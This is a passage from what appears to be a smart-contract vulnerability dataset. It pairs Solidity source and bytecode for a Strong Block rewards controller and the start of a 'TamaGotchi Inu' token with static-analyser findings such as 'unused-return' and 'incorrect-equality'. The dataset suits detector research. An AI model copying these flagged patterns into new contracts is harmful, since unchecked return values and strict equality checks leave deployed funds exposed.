1b8357600080fd5b611b8c836119a5565b9150611b9a602084016119a5565b90509250929050565b600181811c90821680611bb757607f821691505b602082108103611bd757634e487b7160e01b600052602260045260246000fd5b50919050565b60008351611bef818460208801611921565b835190830190611c03818360208801611921565b7f2f696e666f2e6a736f6e000000000000000000000000000000000000000000009101908152600a01949350505050565b634e487b7160e01b600052601160045260246000fd5b600082821015611c5c57611c5c611c34565b500390565b60008219821115611c7457611c74611c34565b500190565b600060018201611c8b57611c8b611c34565b5060010190565b634e487b7160e01b600052601260045260246000fd5b600082611cb757611cb7611c92565b500490565b600082611ccb57611ccb611c92565b500690565b634e487b7160e01b600052603260045260246000fd5b60006001600160a01b03808716835280861660208401525083604083015260806060830152611d18608083018461194d565b9695505050505050565b600060208284031215611d3457600080fd5b8151610b85816118ee56fea26469706673582212200318b0f7c7321eaf778bea6e7f0a8a00e309c4935fac88ffab635ae80cd705e664736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,840
0xdd99ae403ed319443f73d37a466409578804426a
pragma solidity 0.6.12; pragma experimental ABIEncoderV2; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface sbCommunityInterface { function getTokenData(address token, uint256 day) external view returns ( uint256, uint256, uint256 ); function receiveRewards(uint256 day, uint256 amount) external; function serviceAccepted(address service) external view returns (bool); function getMinerRewardPercentage() external view returns (uint256); } contract sbController { event CommunityAdded(address indexed community); event RewardsReleased(address indexed receiver, uint256 amount, uint256 indexed day); using SafeMath for uint256; bool internal initDone; address internal sbTimelock; IERC20 internal strongToken; sbTokensInterface internal sbTokens; sbStrongPoolInterface internal sbStrongPool; sbVotesInterface internal sbVotes; uint256 internal startDay; mapping(uint256 => uint256) internal COMMUNITY_DAILY_REWARDS_BY_YEAR; mapping(uint256 => uint256) internal STRONGPOOL_DAILY_REWARDS_BY_YEAR; mapping(uint256 => uint256) internal VOTER_DAILY_REWARDS_BY_YEAR; uint256 internal MAX_YEARS; address[] internal communities; mapping(uint256 => uint256) internal dayMineSecondsUSDTotal; mapping(address => mapping(uint256 => uint256)) internal communityDayMineSecondsUSD; mapping(address => mapping(uint256 => uint256)) internal communityDayRewards; mapping(address => uint256) internal communityDayStart; uint256 internal dayLastReleasedRewardsFor; function init( address sbTimelockAddress, address strongTokenAddress, address sbTokensAddress, address sbStrongPoolAddress, address sbCommunityAddress, address sbVotesAddress ) public { require(!initDone, 'init done'); uint256 currentDay = _getCurrentDay(); sbTimelock = sbTimelockAddress; strongToken = IERC20(strongTokenAddress); sbTokens = sbTokensInterface(sbTokensAddress); sbStrongPool = sbStrongPoolInterface(sbStrongPoolAddress); sbVotes = sbVotesInterface(sbVotesAddress); startDay = currentDay; dayLastReleasedRewardsFor = currentDay.sub(1); communities.push(sbCommunityAddress); communityDayStart[sbCommunityAddress] = currentDay; MAX_YEARS = 4; COMMUNITY_DAILY_REWARDS_BY_YEAR[1] = 2888e18; COMMUNITY_DAILY_REWARDS_BY_YEAR[2] = 2088e18; COMMUNITY_DAILY_REWARDS_BY_YEAR[3] = 1288e18; COMMUNITY_DAILY_REWARDS_BY_YEAR[4] = 888e18; STRONGPOOL_DAILY_REWARDS_BY_YEAR[1] = 800e18; STRONGPOOL_DAILY_REWARDS_BY_YEAR[2] = 1000e18; STRONGPOOL_DAILY_REWARDS_BY_YEAR[3] = 1100e18; STRONGPOOL_DAILY_REWARDS_BY_YEAR[4] = 1200e18; VOTER_DAILY_REWARDS_BY_YEAR[1] = 88e18; VOTER_DAILY_REWARDS_BY_YEAR[2] = 88e18; VOTER_DAILY_REWARDS_BY_YEAR[3] = 88e18; VOTER_DAILY_REWARDS_BY_YEAR[4] = 88e18; initDone = true; } function upToDate() external view returns (bool) { return dayLastReleasedRewardsFor == _getCurrentDay().sub(1); } function addCommunity(address community) external { require(msg.sender == sbTimelock, 'not sbTimelock'); require(community != address(0), 'community not zero address'); require(!_communityExists(community), 'community exists'); communities.push(community); communityDayStart[community] = _getCurrentDay(); emit CommunityAdded(community); } function getCommunities() external view returns (address[] memory) { return communities; } function getDayMineSecondsUSDTotal(uint256 day) external view returns (uint256) { require(day >= startDay, '1: invalid day'); require(day <= dayLastReleasedRewardsFor, '2: invalid day'); return dayMineSecondsUSDTotal[day]; } function getCommunityDayMineSecondsUSD(address community, uint256 day) external view returns (uint256) { require(_communityExists(community), 'invalid community'); require( day >= communityDayStart[community], '1: invalid day' ); require(day <= dayLastReleasedRewardsFor, '2: invalid day'); return communityDayMineSecondsUSD[community][day]; } function getCommunityDayRewards(address community, uint256 day) external view returns (uint256) { require(_communityExists(community), 'invalid community'); require( day >= communityDayStart[community], '1: invalid day' ); require(day <= dayLastReleasedRewardsFor, '2: invalid day'); return communityDayRewards[community][day]; } function getCommunityDailyRewards(uint256 day) external view returns (uint256) { require(day >= startDay, 'invalid day'); uint256 year = _getYearDayIsIn(day); require(year <= MAX_YEARS, 'invalid year'); return COMMUNITY_DAILY_REWARDS_BY_YEAR[year]; } function getStrongPoolDailyRewards(uint256 day) external view returns (uint256) { require(day >= startDay, 'invalid day'); uint256 year = _getYearDayIsIn(day); require(year <= MAX_YEARS, 'invalid year'); return STRONGPOOL_DAILY_REWARDS_BY_YEAR[year]; } function getVoterDailyRewards(uint256 day) external view returns (uint256) { require(day >= startDay, 'invalid day'); uint256 year = _getYearDayIsIn(day); require(year <= MAX_YEARS, 'invalid year'); return VOTER_DAILY_REWARDS_BY_YEAR[year]; } function getStartDay() external view returns (uint256) { return startDay; } function communityAccepted(address community) external view returns (bool) { return _communityExists(community); } function getMaxYears() public view returns (uint256) { return MAX_YEARS; } function getCommunityDayStart(address community) public view returns (uint256) { require(_communityExists(community), 'invalid community'); return communityDayStart[community]; } function getSbTimelockAddressUsed() public view returns (address) { return sbTimelock; } function getStrongAddressUsed() public view returns (address) { return address(strongToken); } function getSbTokensAddressUsed() public view returns (address) { return address(sbTokens); } function getSbStrongPoolAddressUsed() public view returns (address) { return address(sbStrongPool); } function getSbVotesAddressUsed() public view returns (address) { return address(sbVotes); } function getCurrentYear() public view returns (uint256) { uint256 day = _getCurrentDay().sub(startDay); return _getYearDayIsIn(day == 0 ? startDay : day); } function getYearDayIsIn(uint256 day) public view returns (uint256) { require(day >= startDay, 'invalid day'); return _getYearDayIsIn(day); } function getCurrentDay() public view returns (uint256) { return _getCurrentDay(); } function getDayLastReleasedRewardsFor() public view returns (uint256) { return dayLastReleasedRewardsFor; } function releaseRewards() public { uint256 currentDay = _getCurrentDay(); require( currentDay > dayLastReleasedRewardsFor.add(1), 'already released' ); require(sbTokens.upToDate(), 'need token prices'); dayLastReleasedRewardsFor = dayLastReleasedRewardsFor.add(1); uint256 year = _getYearDayIsIn(dayLastReleasedRewardsFor); require(year <= MAX_YEARS, 'invalid year'); address[] memory tokenAddresses = sbTokens.getTokens(); uint256[] memory tokenPrices = sbTokens.getTokenPrices(dayLastReleasedRewardsFor); for (uint256 i = 0; i < communities.length; i++) { address community = communities[i]; uint256 sum = 0; for (uint256 j = 0; j < tokenAddresses.length; j++) { address token = tokenAddresses[j]; (, , uint256 minedSeconds) = sbCommunityInterface(community).getTokenData(token, dayLastReleasedRewardsFor); uint256 tokenPrice = tokenPrices[j]; uint256 minedSecondsUSD = tokenPrice.mul(minedSeconds).div(1e18); sum = sum.add(minedSecondsUSD); } communityDayMineSecondsUSD[community][dayLastReleasedRewardsFor] = sum; dayMineSecondsUSDTotal[dayLastReleasedRewardsFor] = dayMineSecondsUSDTotal[dayLastReleasedRewardsFor].add(sum); } for (uint256 i = 0; i < communities.length; i++) { address community = communities[i]; if (communityDayMineSecondsUSD[community][dayLastReleasedRewardsFor] == 0) { continue; } communityDayRewards[community][dayLastReleasedRewardsFor] = communityDayMineSecondsUSD[community][dayLastReleasedRewardsFor] .mul(COMMUNITY_DAILY_REWARDS_BY_YEAR[year]) .div(dayMineSecondsUSDTotal[dayLastReleasedRewardsFor]); uint256 amount = communityDayRewards[community][dayLastReleasedRewardsFor]; strongToken.approve(community, amount); sbCommunityInterface(community).receiveRewards(dayLastReleasedRewardsFor, amount); emit RewardsReleased(community, amount, currentDay); } (,, uint256 strongPoolMineSeconds) = sbStrongPool.getMineData(dayLastReleasedRewardsFor); if (strongPoolMineSeconds != 0) { strongToken.approve(address(sbStrongPool), STRONGPOOL_DAILY_REWARDS_BY_YEAR[year]); sbStrongPool.receiveRewards(dayLastReleasedRewardsFor, STRONGPOOL_DAILY_REWARDS_BY_YEAR[year]); emit RewardsReleased(address(sbStrongPool), STRONGPOOL_DAILY_REWARDS_BY_YEAR[year], currentDay); } bool hasVoteSeconds = false; for (uint256 i = 0; i < communities.length; i++) { address community = communities[i]; (, , uint256 voteSeconds) = sbVotes.getCommunityData(community, dayLastReleasedRewardsFor); if (voteSeconds > 0) { hasVoteSeconds = true; break; } } if (hasVoteSeconds) { strongToken.approve(address(sbVotes), VOTER_DAILY_REWARDS_BY_YEAR[year]); sbVotes.receiveVoterRewards(dayLastReleasedRewardsFor, VOTER_DAILY_REWARDS_BY_YEAR[year]); emit RewardsReleased(address(sbVotes), VOTER_DAILY_REWARDS_BY_YEAR[year], currentDay); } } function _getCurrentDay() internal view returns (uint256) { return block.timestamp.div(1 days).add(1); } function _communityExists(address community) internal view returns (bool) { for (uint256 i = 0; i < communities.length; i++) { if (communities[i] == community) { return true; } } return false; } function _getYearDayIsIn(uint256 day) internal view returns (uint256) { return day.sub(startDay).div(366).add(1); // dividing by 366 makes day 1 and 365 be in year 1 } } interface sbStrongPoolInterface { function serviceMinMined(address miner) external view returns (bool); function minerMinMined(address miner) external view returns (bool); function mineFor(address miner, uint256 amount) external; function getMineData(uint256 day) external view returns ( uint256, uint256, uint256 ); function receiveRewards(uint256 day, uint256 amount) external; } interface sbTokensInterface { function getTokens() external view returns (address[] memory); function getTokenPrices(uint256 day) external view returns (uint256[] memory); function tokenAccepted(address token) external view returns (bool); function upToDate() external view returns (bool); function getTokenPrice(address token, uint256 day) external view returns (uint256); } interface sbVotesInterface { function getCommunityData(address community, uint256 day) external view returns ( uint256, uint256, uint256 ); function getPriorProposalVotes(address account, uint256 blockNumber) external view returns (uint96); function receiveServiceRewards(uint256 day, uint256 amount) external; function receiveVoterRewards(uint256 day, uint256 amount) external; function updateVotes( address staker, uint256 rawAmount, bool adding ) external; }
0x608060405234801561001057600080fd5b50600436106101575760003560e01c806378253604116100c3578063b9e5d5511161007c578063b9e5d55114610281578063ba232ecb14610294578063c251b565146102a7578063ce41607a146102bc578063d0fab3ca146102c4578063ff4dfa51146102cc57610157565b8063782536041461023057806390a39a9e1461023857806399e133f91461024b578063a4bc4d7f1461025e578063b0ff526314610266578063b80a99951461026e57610157565b80633e6968b6116101155780633e6968b6146101e85780634eac382f146101f05780635a306be0146102035780635a5256ef1461020b5780636232db7514610213578063733fb91f1461022857610157565b806248fc201461015c57806302f8cd5e1461018557806304a3379f146101985780631727a98c146101ad5780631da20d5e146101cd5780632a8c0969146101d5575b600080fd5b61016f61016a36600461198b565b6102d4565b60405161017c9190611ce7565b60405180910390f35b61016f61019336600461198b565b610347565b6101a06103af565b60405161017c91906119d0565b6101c06101bb366004611781565b6103be565b60405161017c9190611a4a565b61016f6103cf565b61016f6101e336600461181e565b6103d5565b61016f61047f565b61016f6101fe366004611781565b61048e565b6101a06104d1565b6101a06104e0565b610226610221366004611781565b6104ef565b005b6101a0610604565b6101c0610613565b61016f61024636600461181e565b610631565b61022661025936600461179d565b6106db565b6101a06109ff565b61016f610a13565b61016f61027c36600461198b565b610a19565b61016f61028f36600461198b565b610a81565b61016f6102a236600461198b565b610aae565b6102af610b07565b60405161017c91906119fd565b61016f610b69565b610226610b9a565b61016f611597565b60006005548210156103015760405162461bcd60e51b81526004016102f890611aa8565b60405180910390fd5b600061030c8361159d565b90506009548111156103305760405162461bcd60e51b81526004016102f890611b86565b60009081526006602052604090205490505b919050565b600060055482101561036b5760405162461bcd60e51b81526004016102f890611aa8565b60006103768361159d565b905060095481111561039a5760405162461bcd60e51b81526004016102f890611b86565b60009081526007602052604090205492915050565b6001546001600160a01b031690565b60006103c9826115c5565b92915050565b600f5490565b60006103e0836115c5565b6103fc5760405162461bcd60e51b81526004016102f890611c01565b6001600160a01b0383166000908152600e60205260409020548210156104345760405162461bcd60e51b81526004016102f890611c6d565b600f548211156104565760405162461bcd60e51b81526004016102f890611b5e565b506001600160a01b03919091166000908152600c60209081526040808320938352929052205490565b6000610489611620565b905090565b6000610499826115c5565b6104b55760405162461bcd60e51b81526004016102f890611c01565b506001600160a01b03166000908152600e602052604090205490565b6002546001600160a01b031690565b6004546001600160a01b031690565b60005461010090046001600160a01b0316331461051e5760405162461bcd60e51b81526004016102f890611cbf565b6001600160a01b0381166105445760405162461bcd60e51b81526004016102f890611b04565b61054d816115c5565b1561056a5760405162461bcd60e51b81526004016102f890611c95565b600a80546001810182556000919091527fc65a7bb8d6351c1cf70c95a316cc6a92839c986682d98bc35f958f4883f9d2a80180546001600160a01b0319166001600160a01b0383161790556105bd611620565b6001600160a01b0382166000818152600e602052604080822093909355915190917f3df6de6f7acbd50ccf5d3352eaf45f9eaf44b2b259e62a4c04351fdea533287391a250565b6003546001600160a01b031690565b60006106286001610622611620565b90611634565b600f5414905090565b600061063c836115c5565b6106585760405162461bcd60e51b81526004016102f890611c01565b6001600160a01b0383166000908152600e60205260409020548210156106905760405162461bcd60e51b81526004016102f890611c6d565b600f548211156106b25760405162461bcd60e51b81526004016102f890611b5e565b506001600160a01b03919091166000908152600d60209081526040808320938352929052205490565b60005460ff16156106fe5760405162461bcd60e51b81526004016102f890611b3b565b6000610708611620565b60008054610100600160a81b0319166101006001600160a01b038b81169190910291909117909155600180546001600160a01b03199081168a84161782556002805482168a851617905560038054821689851617905560048054909116928616929092179091556005829055909150610782908290611634565b600f55600a805460018181019092557fc65a7bb8d6351c1cf70c95a316cc6a92839c986682d98bc35f958f4883f9d2a80180546001600160a01b039095166001600160a01b0319909516851790556000938452600e6020908152604085209290925560046009819055689c8f0d1ab8602000007f3e5fec24aa4dc4e5aee2e025e51e1392c72a2500577559fae9665c6d52bd6a3155687130d2294d47a000007f8819ef417987f8ae7a81f42cdfb18815282fe989326fbff903d13cf0e03ace29556845d29737e22f2000007f75f96ab15d697e93042dc45b5c896c4b27e89bb6eaf39475c5c371cb2513f7d25568302379bf2ca2e000007fc5069e24aaadb2addc3e52e868fcf3f4f8acf5a87e24300992fd4540c2a87eed55682b5e3af16b188000007fb39221ace053465ec3453ce2b36430bd138b997ecea25c1043da0c366812b82855683635c9adc5dea000007fb7c774451310d1be4108bc180d1b52823cb0ee0274a6c0081bcaf94f115fb96d55683ba1910bf341b000007f3be6fd20d5acfde5b873b48692cd31f4d3c7e8ee8a813af4696af8859e5ca6c65568410d586a20a4c000007fb805995a7ec585a251200611a61d179cfd7fb105e1ab17dc415a7336783786f75560089092526804c53ecdc18a6000007fad67d757c34507f157cacfa2e3153e9f260a2244f30428821be7be64587ac55f8190557f6add646517a5b0f6793cd5891b7937d28a5b2981a5d88ebc7cd776088fea90418190557f625b35f5e76f098dd7c3a05b10e2e5e78a4a01228d60c3b143426cdf36d264558190559184527f9321edea6e3be4df59a344b401fab4f888b556fda1f954244cff9204bad624b891909155825460ff1916179091555050505050565b60005461010090046001600160a01b031690565b60095490565b6000600554821015610a3d5760405162461bcd60e51b81526004016102f890611aa8565b6000610a488361159d565b9050600954811115610a6c5760405162461bcd60e51b81526004016102f890611b86565b60009081526008602052604090205492915050565b6000600554821015610aa55760405162461bcd60e51b81526004016102f890611aa8565b6103c98261159d565b6000600554821015610ad25760405162461bcd60e51b81526004016102f890611c6d565b600f54821115610af45760405162461bcd60e51b81526004016102f890611b5e565b506000908152600b602052604090205490565b6060600a805480602002602001604051908101604052809291908181526020018280548015610b5f57602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610b41575b5050505050905090565b600080610b7a600554610622611620565b9050610b948115610b8b5781610b8f565b6005545b61159d565b91505090565b6000610ba4611620565b600f54909150610bb590600161167d565b8111610bd35760405162461bcd60e51b81526004016102f890611bd7565b600260009054906101000a90046001600160a01b03166001600160a01b031663782536046040518163ffffffff1660e01b815260040160206040518083038186803b158015610c2157600080fd5b505afa158015610c35573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c59919061196b565b610c755760405162461bcd60e51b81526004016102f890611bac565b600f54610c8390600161167d565b600f819055600090610c949061159d565b9050600954811115610cb85760405162461bcd60e51b81526004016102f890611b86565b6002546040805163154d950160e31b815290516060926001600160a01b03169163aa6ca808916004808301926000929190829003018186803b158015610cfd57600080fd5b505afa158015610d11573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610d399190810190611849565b600254600f546040516329baa97760e01b81529293506060926001600160a01b03909216916329baa97791610d7091600401611ce7565b60006040518083038186803b158015610d8857600080fd5b505afa158015610d9c573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610dc491908101906118e7565b905060005b600a54811015610f5a576000600a8281548110610de257fe5b60009182526020822001546001600160a01b03169150805b8551811015610efe576000868281518110610e1157fe5b602002602001015190506000846001600160a01b0316639f292d7683600f546040518363ffffffff1660e01b8152600401610e4d9291906119e4565b60606040518083038186803b158015610e6557600080fd5b505afa158015610e79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e9d91906119a3565b925050506000878481518110610eaf57fe5b602002602001015190506000610ee0670de0b6b3a7640000610eda85856116a290919063ffffffff16565b906116dc565b9050610eec868261167d565b95505060019093019250610dfa915050565b506001600160a01b0382166000908152600c60209081526040808320600f80548552908352818420859055548352600b909152902054610f3e908261167d565b600f546000908152600b60205260409020555050600101610dc9565b5060005b600a5481101561115d576000600a8281548110610f7757fe5b60009182526020808320909101546001600160a01b0316808352600c82526040808420600f548552909252912054909150610fb25750611155565b600f546000818152600b602090815260408083205489845260068352818420546001600160a01b0387168552600c84528285209585529490925290912054610ffe92610eda91906116a2565b6001600160a01b038281166000908152600d60209081526040808320600f8054855292528083209490945554815282902054600154925163095ea7b360e01b815290929091169063095ea7b39061105b90859085906004016119e4565b602060405180830381600087803b15801561107557600080fd5b505af1158015611089573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ad919061196b565b50600f546040516379b6a96d60e11b81526001600160a01b0384169163f36d52da916110de91908590600401611cf0565b600060405180830381600087803b1580156110f857600080fd5b505af115801561110c573d6000803e3d6000fd5b5050505086826001600160a01b03167fb10f7181725e149ac50c5c122d6ea02644213c2e7f30f74a44b3fce1fb158ca98360405161114a9190611ce7565b60405180910390a350505b600101610f5e565b50600354600f5460405163eb87e89b60e01b81526000926001600160a01b03169163eb87e89b916111919190600401611ce7565b60606040518083038186803b1580156111a957600080fd5b505afa1580156111bd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111e191906119a3565b9250505080600014611352576001546003546000868152600760205260409081902054905163095ea7b360e01b81526001600160a01b039384169363095ea7b393611231939116916004016119e4565b602060405180830381600087803b15801561124b57600080fd5b505af115801561125f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611283919061196b565b50600354600f54600086815260076020526040908190205490516379b6a96d60e11b81526001600160a01b039093169263f36d52da926112c7929091600401611cf0565b600060405180830381600087803b1580156112e157600080fd5b505af11580156112f5573d6000803e3d6000fd5b5050600354600087815260076020526040908190205490518994506001600160a01b0390921692507fb10f7181725e149ac50c5c122d6ea02644213c2e7f30f74a44b3fce1fb158ca9916113499190611ce7565b60405180910390a35b6000805b600a54811015611423576000600a828154811061136f57fe5b600091825260208220015460048054600f546040516303b5c12760e31b81526001600160a01b0394851696509190931692631dae0938926113b392879291016119e4565b60606040518083038186803b1580156113cb57600080fd5b505afa1580156113df573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061140391906119a3565b9250508115905061141957600193505050611423565b5050600101611356565b50801561158f57600154600480546000888152600860205260409081902054905163095ea7b360e01b81526001600160a01b039485169463095ea7b39461146f949091169291016119e4565b602060405180830381600087803b15801561148957600080fd5b505af115801561149d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c1919061196b565b5060048054600f546000888152600860205260409081902054905163242be82160e01b81526001600160a01b039093169363242be8219361150493929101611cf0565b600060405180830381600087803b15801561151e57600080fd5b505af1158015611532573d6000803e3d6000fd5b5050600454600088815260086020526040908190205490518a94506001600160a01b0390921692507fb10f7181725e149ac50c5c122d6ea02644213c2e7f30f74a44b3fce1fb158ca9916115869190611ce7565b60405180910390a35b505050505050565b60055490565b60006103c960016115bf61016e610eda6005548761163490919063ffffffff16565b9061167d565b6000805b600a5481101561161757826001600160a01b0316600a82815481106115ea57fe5b6000918252602090912001546001600160a01b0316141561160f576001915050610342565b6001016115c9565b50600092915050565b600061048960016115bf42620151806116dc565b600061167683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061171e565b9392505050565b6000828201838110156116765760405162461bcd60e51b81526004016102f890611acd565b6000826116b1575060006103c9565b828202828482816116be57fe5b04146116765760405162461bcd60e51b81526004016102f890611c2c565b600061167683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061174a565b600081848411156117425760405162461bcd60e51b81526004016102f89190611a55565b505050900390565b6000818361176b5760405162461bcd60e51b81526004016102f89190611a55565b50600083858161177757fe5b0495945050505050565b600060208284031215611792578081fd5b813561167681611d45565b60008060008060008060c087890312156117b5578182fd5b86356117c081611d45565b955060208701356117d081611d45565b945060408701356117e081611d45565b935060608701356117f081611d45565b9250608087013561180081611d45565b915060a087013561181081611d45565b809150509295509295509295565b60008060408385031215611830578182fd5b823561183b81611d45565b946020939093013593505050565b6000602080838503121561185b578182fd5b825167ffffffffffffffff811115611871578283fd5b8301601f81018513611881578283fd5b805161189461188f82611d25565b611cfe565b81815283810190838501858402850186018910156118b0578687fd5b8694505b838510156118db5780516118c781611d45565b8352600194909401939185019185016118b4565b50979650505050505050565b600060208083850312156118f9578182fd5b825167ffffffffffffffff81111561190f578283fd5b8301601f8101851361191f578283fd5b805161192d61188f82611d25565b8181528381019083850185840285018601891015611949578687fd5b8694505b838510156118db57805183526001949094019391850191850161194d565b60006020828403121561197c578081fd5b81518015158114611676578182fd5b60006020828403121561199c578081fd5b5035919050565b6000806000606084860312156119b7578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b6020808252825182820181905260009190848201906040850190845b81811015611a3e5783516001600160a01b031683529284019291840191600101611a19565b50909695505050505050565b901515815260200190565b6000602080835283518082850152825b81811015611a8157858101830151858201604001528201611a65565b81811115611a925783604083870101525b50601f01601f1916929092016040019392505050565b6020808252600b908201526a696e76616c69642064617960a81b604082015260600190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b6020808252601a908201527f636f6d6d756e697479206e6f74207a65726f2061646472657373000000000000604082015260600190565b602080825260099082015268696e697420646f6e6560b81b604082015260600190565b6020808252600e908201526d323a20696e76616c69642064617960901b604082015260600190565b6020808252600c908201526b34b73b30b634b2103cb2b0b960a11b604082015260600190565b6020808252601190820152706e65656420746f6b656e2070726963657360781b604082015260600190565b60208082526010908201526f185b1c9958591e481c995b19585cd95960821b604082015260600190565b602080825260119082015270696e76616c696420636f6d6d756e69747960781b604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252600e908201526d313a20696e76616c69642064617960901b604082015260600190565b60208082526010908201526f636f6d6d756e6974792065786973747360801b604082015260600190565b6020808252600e908201526d6e6f7420736254696d656c6f636b60901b604082015260600190565b90815260200190565b918252602082015260400190565b60405181810167ffffffffffffffff81118282101715611d1d57600080fd5b604052919050565b600067ffffffffffffffff821115611d3b578081fd5b5060209081020190565b6001600160a01b0381168114611d5a57600080fd5b5056fea26469706673582212201254b114caf2d8755956256b48c12a45217c3000e1f17cddc00a9af1262cb5fb64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,841
0x986871f25d38cb61f5de7f00fe8e516394b50de8
/* TamaGotchi Inu Eat | Sleep | Poop | Moon https://t.me/TamagotchiInu 2% Reflections 8% Marketing 2% Team */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the 